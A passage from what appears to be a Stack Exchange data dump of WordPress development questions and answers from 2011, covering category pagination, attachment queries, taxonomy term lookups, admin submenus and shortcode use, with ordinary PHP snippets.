id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;            &amp;lt;div class=&quot;cat-thumb&quot;&amp;gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, '_mcf_block-one', true); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;cat-entry&quot;&amp;gt;&#xA;                &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;     &#xA;                &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;  &#xA;        &amp;lt;?php if($count % 2 != 0) echo '&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;';?&amp;gt;&#xA;&#xA;        &amp;lt;?php $count++; endwhile; ?&amp;gt;&#xA;        &amp;lt;?php if (  $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;            &amp;lt;div id=&quot;nav-below&quot; class=&quot;navigation&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;nav-previous&quot;&amp;gt;&amp;lt;?php previous_posts_link( __( '&amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;larr;&amp;lt;/span&amp;gt; Previous', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;nav-next&quot;&amp;gt;&amp;lt;?php next_posts_link( __( 'Next &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt; ', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- #nav-below --&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #container --&amp;gt;   &#xA;&#xA;&amp;lt;?php $current_category = single_cat_title(&quot;&quot;, FALSE);&#xA;            $parent_cat = get_the_category();&#xA;            $back_to_current = get_cat_name($parent_cat[0]-&amp;gt;category_parent);&#xA;&#xA;if ( is_category( array( 'life-sciences','consumables','histology','forensics','pharmaceutical' ) ) == $current_category) { ?&amp;gt;&#xA;&amp;lt;?php echo '&amp;lt;div id=&quot;cat-menu&quot;&amp;gt;&amp;lt;h3&amp;gt;'.$back_to_current.'&amp;lt;/h3&amp;gt;'; wp_nav_menu( array('container_id' =&amp;gt; 'sub-page', 'menu' =&amp;gt; $current_category ) ); echo '&amp;lt;/div&amp;gt;';  } elseif ( is_category('general-lab')) { ?&amp;gt;&#xA;&amp;lt;?php echo '&amp;lt;div id=&quot;cat-menu&quot;&amp;gt;&amp;lt;h3&amp;gt;'.$current_category.'&amp;lt;/h3&amp;gt;'; wp_nav_menu( array('container_id' =&amp;gt; 'sub-page', 'menu' =&amp;gt; $back_to_current ) ); echo '&amp;lt;/div&amp;gt;'; } else { ?&amp;gt;&#xA;&amp;lt;?php echo '&amp;lt;div id=&quot;cat-menu&quot;&amp;gt;&amp;lt;h3&amp;gt;'.$back_to_current.'&amp;lt;/h3&amp;gt;'; wp_nav_menu( array('container_id' =&amp;gt; 'sub-page', 'menu' =&amp;gt; $back_to_current ) ); echo '&amp;lt;/div&amp;gt;'; } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;" OwnerUserId="5125" LastActivityDate="2011-09-02T12:39:48.850" Title="Why Pagination is not working on Category.php" Tags="&lt;categories&gt;&lt;pagination&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="16388" PostTypeId="1" CreationDate="2011-05-05T02:20:42.740" Score="1" ViewCount="47" Body="&lt;p&gt;I have been trying to animate images using jQuery. I came across the following post when I was searching for examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsfiddle.net/fwUMx/99/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/fwUMx/99/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The images right now are increasing and decreasing their height in a loop. I just have a question if I can do the following using jQuery?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 6 six ads with almost same size. All ads to randomly rotate within those 6 spots so one ad is not always at top or on the bottom.&#xA;When the ads rotate, they can either flash in or quickly fade in for 5 seconds.&lt;/p&gt;&#xA;" OwnerUserId="3106" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-05T07:16:20.640" LastActivityDate="2011-05-05T07:16:20.640" ClosedDate="2011-05-31T21:54:48.223" Title="Rotating Ads in WordPress" Tags="&lt;images&gt;&lt;sidebar&gt;&lt;javascript&gt;" CommentCount="2" />
  <row Id="16389" PostTypeId="2" ParentId="16387" CreationDate="2011-05-05T02:22:34.363" Score="0" ViewCount="" Body="&lt;p&gt;This may be your problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://weblogtoolscollection.com/archives/2008/04/19/paging-and-custom-wordpress-loops/&quot; rel=&quot;nofollow&quot;&gt;http://weblogtoolscollection.com/archives/2008/04/19/paging-and-custom-wordpress-loops/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-05T02:22:34.363" CommentCount="1" />
  <row Id="16390" PostTypeId="2" ParentId="16382" CreationDate="2011-05-05T02:28:08.293" Score="1" ViewCount="" Body="&lt;p&gt;A zero response means zero rows affected, which is different from an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its hard to say without looking at your query why no rows are being updated. One debug tool you can try is setting &quot;SAVEQUERIES&quot; to true in your wp-config.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then after your query runs, try &lt;code&gt;var_dump&lt;/code&gt;ing $wpdb-&gt;queries.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-05-05T02:28:08.293" />
  <row Id="16391" PostTypeId="2" ParentId="11579" CreationDate="2011-05-05T02:51:11.107" Score="0" ViewCount="" Body="&lt;p&gt;The featured images are defined in a custom field called &quot;_thumbnail_id&quot; attached to the post. So you'd have to query all of your posts for the custom field, then exclude those results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A basic query that gets all featured images on your site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$featured_images = $wpdb-&amp;gt;get_results( &quot;SELECT meta_value FROM {$wpdb-&amp;gt;postmeta} &#xA;                                        WHERE meta_key = '_thumbnail_id'&quot; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that what you're looking for? Then you can do some crazy site-wide search for all images that aren't being used as featured images anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, a more useful use case might be within the Loop, when you want to call all attachments except the post's featured image, because you've already displayed that in the header.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$featured_image = get_post_meta( $post-&amp;gt;ID, '_thumbnail_id', true );&#xA;$other_attachments = get_posts( array(&#xA;                              'post_type' =&amp;gt; 'attachment',&#xA;                              'post_mime_type' =&amp;gt; 'image',&#xA;                              'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;                              'numberposts' =&amp;gt; -1,&#xA;                              'post_status' =&amp;gt; null,&#xA;                              'exclude' =&amp;gt; $featured_image&#xA;                              ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-05-05T02:51:11.107" />
  <row Id="16393" PostTypeId="1" AcceptedAnswerId="16795" CreationDate="2011-05-05T04:21:33.650" Score="1" ViewCount="384" Body="&lt;p&gt;I have a custom post type &quot;mycustom_products&quot; (hierarchical) that has custom taxonomies called 'categories' and 'tags' (as many other custom post types do).  My custom category is called &quot;myprod_category&quot; (also hierarchical) and my tag taxonomy is called &quot;product_tag&quot; (&lt;em&gt;not&lt;/em&gt; hierarchical).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to show a list of Product Tags that correspond ONLY to certain Product Categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, with Product Categories like &quot;soap&quot; &amp;amp; &quot;lotion&quot;, there might be tags called &quot;Blueberry&quot; or &quot;Lavender&quot; (scents) but &quot;jewelry&quot; would have tags like &quot;silver&quot; or &quot;gold&quot;.  I want to be able to have a listing of the &quot;scent&quot; only tags (which would be the ones that correspond only with the &quot;soap&quot; and &quot;lotion&quot; categories.  I don't want the tags for &quot;jewelry&quot; to be included.  So any tags that have been used on products entered in those categories would be included, and any used for other categories wouldn't be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously I could hard code everything into the theme, but if/when the client adds more tags, I would have to go in and re-code everything and I'd like to avoid doing that.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using &lt;code&gt;&amp;lt;?php wp_tag_cloud( array( 'taxonomy' =&amp;gt; 'product_tag', format =&amp;gt; 'list' ) ); ?&amp;gt;&lt;/code&gt; to list out all my tags, but I can't seem to get the EXCLUDE argument to prevent whole &quot;product categories&quot; from showing. Seems like I can do it using the tag_ID but that would be tedious, and would put me back to hard coding them into the theme and having to update each time a new tag is added. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a filter or something I can use to exclude a category?  Or is there a better way to list tags in this fashion.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1663" LastEditorUserId="1663" LastEditorDisplayName="" LastEditDate="2011-05-05T13:03:32.743" LastActivityDate="2011-05-09T21:19:48.200" Title="Show certain terms from custom taxonomy but exclude 'parent' terms?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;tags&gt;&lt;include&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="4" />
  <row Id="16394" PostTypeId="1" AcceptedAnswerId="16398" CreationDate="2011-05-05T04:47:46.787" Score="2" ViewCount="273" Body="&lt;p&gt;If I know a taxonomy term slug, how can I get that term's name?&lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2011-05-05T05:22:33.037" Title="How to get a taxonomy term name by the slug?" Tags="&lt;slug&gt;&lt;terms&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16395" PostTypeId="2" ParentId="16386" CreationDate="2011-05-05T04:52:03.500" Score="2" ViewCount="" Body="&lt;p&gt;You could basically use the code from &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6811/creating-a-metabox-to-upload-multiple-images&quot;&gt;that other question&lt;/a&gt; and then filter out the featured image by looking at the post thumbnail ID.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($attachments as $attachment)&#xA;{&#xA;    // Skip the post thumbnail&#xA;    if ($attachment-&amp;gt;id == get_post_thumbnail_id())&#xA;        continue;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Codex: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_thumbnail_id&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_thumbnail_id()&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-05T04:52:03.500" CommentCount="3" />
  <row Id="16396" PostTypeId="2" ParentId="16386" CreationDate="2011-05-05T04:52:34.110" Score="3" ViewCount="" Body="&lt;p&gt;Generally speaking, I would take the approach of querying for post attachments, but withhold the attachment that is the post thumbnail. WP provides a simple way of finding the post thumbnail ID with &lt;code&gt;get_post_thumbnail_id&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_thumbnail_id&quot; rel=&quot;nofollow&quot;&gt;Codex Ref&lt;/a&gt;). To modify the code from the other post, I would add the following parameter to the &lt;code&gt;$args&lt;/code&gt; array to withhold the thumbnail attachment from being queried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'post__not_in' =&amp;gt; array(&#xA;    get_post_thumbnail_id($post-&amp;gt;ID)&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;post__not_in&lt;/code&gt; parameter will &quot;Specify post NOT to retrieve.&quot; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;Codex Ref&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put the whole thing together, the code would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'attachment',&#xA;    'numberposts' =&amp;gt; null,&#xA;    'post_status' =&amp;gt; null,&#xA;    'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;    'post__not_in' =&amp;gt; array(&#xA;        get_post_thumbnail_id($post-&amp;gt;ID)&#xA;    )&#xA;);&#xA;$attachments = get_posts($args);&#xA;if ($attachments) {&#xA;    foreach ($attachments as $attachment) {&#xA;        echo apply_filters('the_title', $attachment-&amp;gt;post_title);&#xA;        the_attachment_link($attachment-&amp;gt;ID, false);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to further fine tune your queries, I would highly recommend exploring the WP_Query class (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;Codex Ref&lt;/a&gt;). It's power is only rivaled by its ease of use.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-05-05T04:52:34.110" CommentCount="1" />
  <row Id="16397" PostTypeId="2" ParentId="16382" CreationDate="2011-05-05T05:02:53.943" Score="1" ViewCount="" Body="&lt;p&gt;I would recommend running the following code right after your query to see what's happening:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exit(var_dump($wpdb-&amp;gt;last_query));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should print the last query that hit your database. In cases like these, I usually will manually run such a query through phpMyAdmin to see if it runs without errors and to see if it even affects the database. Additionally, by seeing the query that was actually run, you may find problems in the query that results from your code. For instance, the query may not return any MySQL errors, but it could run a query that is different than you expect it to be. With this debug code, you'll at least be able to see what it is and continue on the wonderful debug trail! Furthermore, you may want to explore more of the &quot;Class Variables&quot; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class#Class_Variables&quot; rel=&quot;nofollow&quot;&gt;Codex Ref&lt;/a&gt;) for $wpdb as they may help further troubleshoot your issue.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-05-05T05:02:53.943" />
  <row Id="16398" PostTypeId="2" ParentId="16394" CreationDate="2011-05-05T05:11:15.917" Score="4" ViewCount="" Body="&lt;p&gt;The function you are looking for is &lt;code&gt;get_term_by&lt;/code&gt;. You would use it as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $term = get_term_by('slug', 'my-term-slug', 'category'); $name = $term-&amp;gt;name; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in &lt;code&gt;$term&lt;/code&gt; being an object containing the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;term_id&#xA;name&#xA;slug&#xA;term_group&#xA;term_taxonomy_id&#xA;taxonomy&#xA;description&#xA;parent&#xA;count&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The codex does a great job explaining this function: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_term_by&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_term_by&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4850" LastEditorUserId="4850" LastEditorDisplayName="" LastEditDate="2011-05-05T05:22:33.037" LastActivityDate="2011-05-05T05:22:33.037" CommentCount="1" />
  <row Id="16400" PostTypeId="1" AcceptedAnswerId="16405" CreationDate="2011-05-05T05:52:04.660" Score="3" ViewCount="91" Body="&lt;p&gt;Basically, I would like to add something like this into my WordPress site&#xA;(which obviously will also give the user an option to sign up for an account using WordPress' default sign up system):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/dOBzo.png&quot; alt=&quot;Stack Exchange login system with OpenID&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any plugin or tutorial that may be helpful to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-05T07:01:05.963" LastActivityDate="2011-05-05T07:28:22.790" Title="Login with OpenID, similar to Stack Exchange sites?" Tags="&lt;plugins&gt;&lt;login&gt;&lt;openid&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="16401" PostTypeId="1" AcceptedAnswerId="16409" CreationDate="2011-05-05T06:07:46.317" Score="2" ViewCount="129" Body="&lt;p&gt;When I use &lt;code&gt;add_menu_page&lt;/code&gt; &amp;amp; &lt;code&gt;add_submenu_page&lt;/code&gt; to add menu items,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_menu_page( 'Forms', 'Forms', 'administrator', 'forms', 'forms_job_menupage_cb' );&#xA;add_submenu_page( 'forms', 'Job Applications', 'Job Applications', 'administrator', 'job-applications', 'forms_job_menupage_cb' );&#xA;add_submenu_page( 'forms', 'Quote Requests', 'Quote Requests', 'administrator', 'quote-req', 'forms_req_menupage_cb' );&#xA;add_submenu_page( 'forms', 'Contact', 'Contact', 'administrator', 'contact', 'forms_contact_menupage_cb' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I will get something like &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Forms&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Forms&lt;/li&gt;&#xA;&lt;li&gt;Job Applications&lt;/li&gt;&#xA;&lt;li&gt;Quote Requests&lt;/li&gt;&#xA;&lt;li&gt;Contacts&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is it possible to create it such that it becomes &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Forms&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Job Applications&lt;/li&gt;&#xA;&lt;li&gt;Quote Requests&lt;/li&gt;&#xA;&lt;li&gt;Contacts&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In other words Forms will link to Job Applications and I dont want the extra Forms submenu item&lt;/p&gt;&#xA;" OwnerUserId="3788" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-05T08:39:19.990" LastActivityDate="2011-05-05T08:39:19.990" Title="Remove duplicate main - submenu in admin?" Tags="&lt;admin-menu&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="16403" PostTypeId="2" ParentId="16400" CreationDate="2011-05-05T07:02:23.123" Score="2" ViewCount="" Body="&lt;p&gt;The Stack Exchange sites use OpenID. There are &lt;a href=&quot;http://wordpress.org/extend/plugins/tags/openid&quot; rel=&quot;nofollow&quot;&gt;many plugins&lt;/a&gt; that can help you implement this. One of the first questions on this site &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15/how-to-implement-a-customizable-free-openid-authentication&quot;&gt;asked about it too&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-05T07:02:23.123" />
  <row Id="16404" PostTypeId="1" CreationDate="2011-05-05T07:25:28.780" Score="0" ViewCount="93" Body="&lt;p&gt;I want to use custom post type without programming. So then I use verve meta boxes and custom post UI. &#xA;It work nicely but, I want to implement it to a multisite wordpress. I want the custom post and the meta boxes available in all blog. Then I discovered some plugins to copy my settings. The best of them is site creation wizard. It copy my custom post perfectly but, I lost all meta boxes. that's the problem. &lt;/p&gt;&#xA;" OwnerUserId="5130" LastActivityDate="2011-05-05T07:25:28.780" Title="Verve meta boxes for WPMU" Tags="&lt;custom-post-types&gt;&lt;multisite&gt;&lt;metabox&gt;" />
  <row Id="16405" PostTypeId="2" ParentId="16400" CreationDate="2011-05-05T07:28:22.790" Score="2" ViewCount="" Body="&lt;p&gt;Try &lt;a href=&quot;http://wordpress.org/extend/plugins/gigya-socialize-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Make Your Site Social&lt;/a&gt; plugin which does most of the job for you &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/0vj1z.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-05T07:28:22.790" CommentCount="3" />
  <row Id="16406" PostTypeId="1" AcceptedAnswerId="16808" CreationDate="2011-05-05T07:28:43.480" Score="3" ViewCount="362" Body="&lt;p&gt;Are there any plugins that allow one to make use of the _trackPageLoadTime(); functionality available in the new version of Google Analytics yet?&lt;/p&gt;&#xA;" OwnerUserId="4447" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-05T13:25:08.320" LastActivityDate="2011-05-10T02:07:39.167" Title="Analytics plugins that allow for inclusion of _trackPageLoadTime()?" Tags="&lt;plugin-recommendation&gt;&lt;google-analytics&gt;" AnswerCount="4" />
  <row Id="16407" PostTypeId="2" ParentId="11354" CreationDate="2011-05-05T07:31:24.413" Score="2" ViewCount="" Body="&lt;p&gt;When I look at &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/class-wp.php#L457&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP::handle_404()&lt;/code&gt;&lt;/a&gt;, I think that the &lt;code&gt;404.php&lt;/code&gt; template will not be loaded, even if there are no posts, if:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We are on the homepage&lt;/li&gt;&#xA;&lt;li&gt;It is a search&lt;/li&gt;&#xA;&lt;li&gt;It is a taxonomy term that exists, but has no posts attached to it (and it's not paged)&lt;/li&gt;&#xA;&lt;li&gt;It is an author that exists, which has written no posts (yet) (and it's not paged)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So in these template files, &lt;code&gt;have_posts()&lt;/code&gt; can be useful.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-05T07:31:24.413" CommentCount="1" />
  <row Id="16408" PostTypeId="2" ParentId="16387" CreationDate="2011-05-05T07:33:18.717" Score="0" ViewCount="" Body="&lt;p&gt;When you go to the second page of the &quot;General Lab&quot;, WordPress does a query for posts in that category and finds none. If WordPress finds no posts, it will display the 404 template. The only case is &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11354/do-we-still-need-to-include-a-if-have-posts-in-templates/16407#16407&quot;&gt;when you are on the &lt;em&gt;first&lt;/em&gt; page of a taxonomy&lt;/a&gt; (like a category): then it still loads the specific template, allowing you to display a message like &quot;No posts in this category&quot;. I explained this further in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7687/pagination-with-wp-query-is-buggy-working-for-some-pages-but-not-the-others/7723#7723&quot;&gt;an answer to a similar question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should thus not do the query in the template, since it will be too late. Instead, hook into the &lt;code&gt;pre_get_posts&lt;/code&gt; action:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'pre_get_posts', 'wpse16387_pre_get_posts' );&#xA;function wpse16387_pre_get_posts( &amp;amp;$wp_query )&#xA;{&#xA;    if ( 'general-lab' == $wp_query-&amp;gt;get( 'category' ) ) {&#xA;        $wp_query-&amp;gt;set( 'category', 'life-sciences' );&#xA;        $GLOBALS['wpse16387_original_category'] = 'general-lab';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now it will load the &lt;code&gt;life-sciences&lt;/code&gt; posts with the main query, and paging will work. You don't need the extra query in your template. You can detect you swapped the categories by reading the global &lt;code&gt;$wpse16387_original_category&lt;/code&gt; variable.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-05T07:33:18.717" />
  <row Id="16409" PostTypeId="2" ParentId="16401" CreationDate="2011-05-05T08:15:07.440" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@JM at Work:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, it is unfortunately that the submenu page is added for every menu page. It would be nice &lt;a href=&quot;http://core.trac.wordpress.org/ticket/17324#comment:21&quot; rel=&quot;nofollow&quot;&gt;if there were an option but alas, there currently is not&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove the submenu page option in WordPress 3.1 or great use &lt;code&gt;remove_submenu_page()&lt;/code&gt; with code like this in your theme's &lt;code&gt;functions.php&lt;/code&gt; file, or in a &lt;code&gt;.php&lt;/code&gt; file of a plugin you might be writing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_menu', 'yoursite_admin_menu' );&#xA;function yoursite_admin_menu() {&#xA;  add_menu_page( 'Forms', 'Forms', 'administrator', 'forms', 'forms_job_menupage_cb' );&#xA;  add_submenu_page( 'forms', 'Job Applications', 'Job Applications', 'administrator', 'job-applications', 'forms_job_menupage_cb' );&#xA;  add_submenu_page( 'forms', 'Quote Requests', 'Quote Requests', 'administrator', 'quote-req', 'forms_req_menupage_cb' );&#xA;  add_submenu_page( 'forms', 'Contact', 'Contact', 'administrator', 'contact', 'forms_contact_menupage_cb' );&#xA;  remove_submenu_page('forms','forms');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are still using WordPress 3.0 you have to &lt;code&gt;unset()&lt;/code&gt; an element of the global variable &lt;code&gt;$submenu&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_menu', 'yoursite_admin_menu' );&#xA;function yoursite_admin_menu() {&#xA;  add_menu_page( 'Forms', 'Forms', 'administrator', 'forms', 'forms_job_menupage_cb' );&#xA;  add_submenu_page( 'forms', 'Job Applications', 'Job Applications', 'administrator', 'job-applications', 'forms_job_menupage_cb' );&#xA;  add_submenu_page( 'forms', 'Quote Requests', 'Quote Requests', 'administrator', 'quote-req', 'forms_req_menupage_cb' );&#xA;  add_submenu_page( 'forms', 'Contact', 'Contact', 'administrator', 'contact', 'forms_contact_menupage_cb' );&#xA;  unset($GLOBALS['submenu']['forms'][0]);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-05-05T08:15:07.440" />
  <row Id="16410" PostTypeId="1" AcceptedAnswerId="16438" CreationDate="2011-05-05T09:08:55.290" Score="0" ViewCount="160" Body="&lt;p&gt;I have downloaded a plugin called &lt;a href=&quot;http://wordpress.org/extend/plugins/stream-video-player/&quot; rel=&quot;nofollow&quot;&gt;Stream Video Player&lt;/a&gt;, which has a shortcode. If I put the shortcode into the content editor, it works well and it displays the video. However, if, inside a template I am creating, I call it through the &lt;code&gt;do_shortcode()&lt;/code&gt; function, it doesn't work, it just shows the text &lt;code&gt;[stream bla bla]&lt;/code&gt;. Can anyone help me and tell me why this is happening?&lt;/p&gt;&#xA;" OwnerUserId="5133" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-05T13:23:39.040" LastActivityDate="2011-05-05T13:23:39.040" Title="Stream Video Player does not work with do_shortcode()?" Tags="&lt;template&gt;&lt;shortcode&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="16411" PostTypeId="1" CreationDate="2011-05-05T09:15:57.927" Score="0" ViewCount="76" Body="&lt;p&gt;I need to create a wordpress-site which shows 5 posts on the front and in a different loop: 2 posts of the next page. These show up if you visit the second page. Do you have any ideas? I wanna show &quot;More articles&quot; by displaying &quot;older&quot; posts in a different loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5134" LastActivityDate="2011-05-05T09:15:57.927" Title="Create a Wordpressloop showing two posts of the next page" Tags="&lt;loop&gt;&lt;query&gt;" CommentCount="2" />
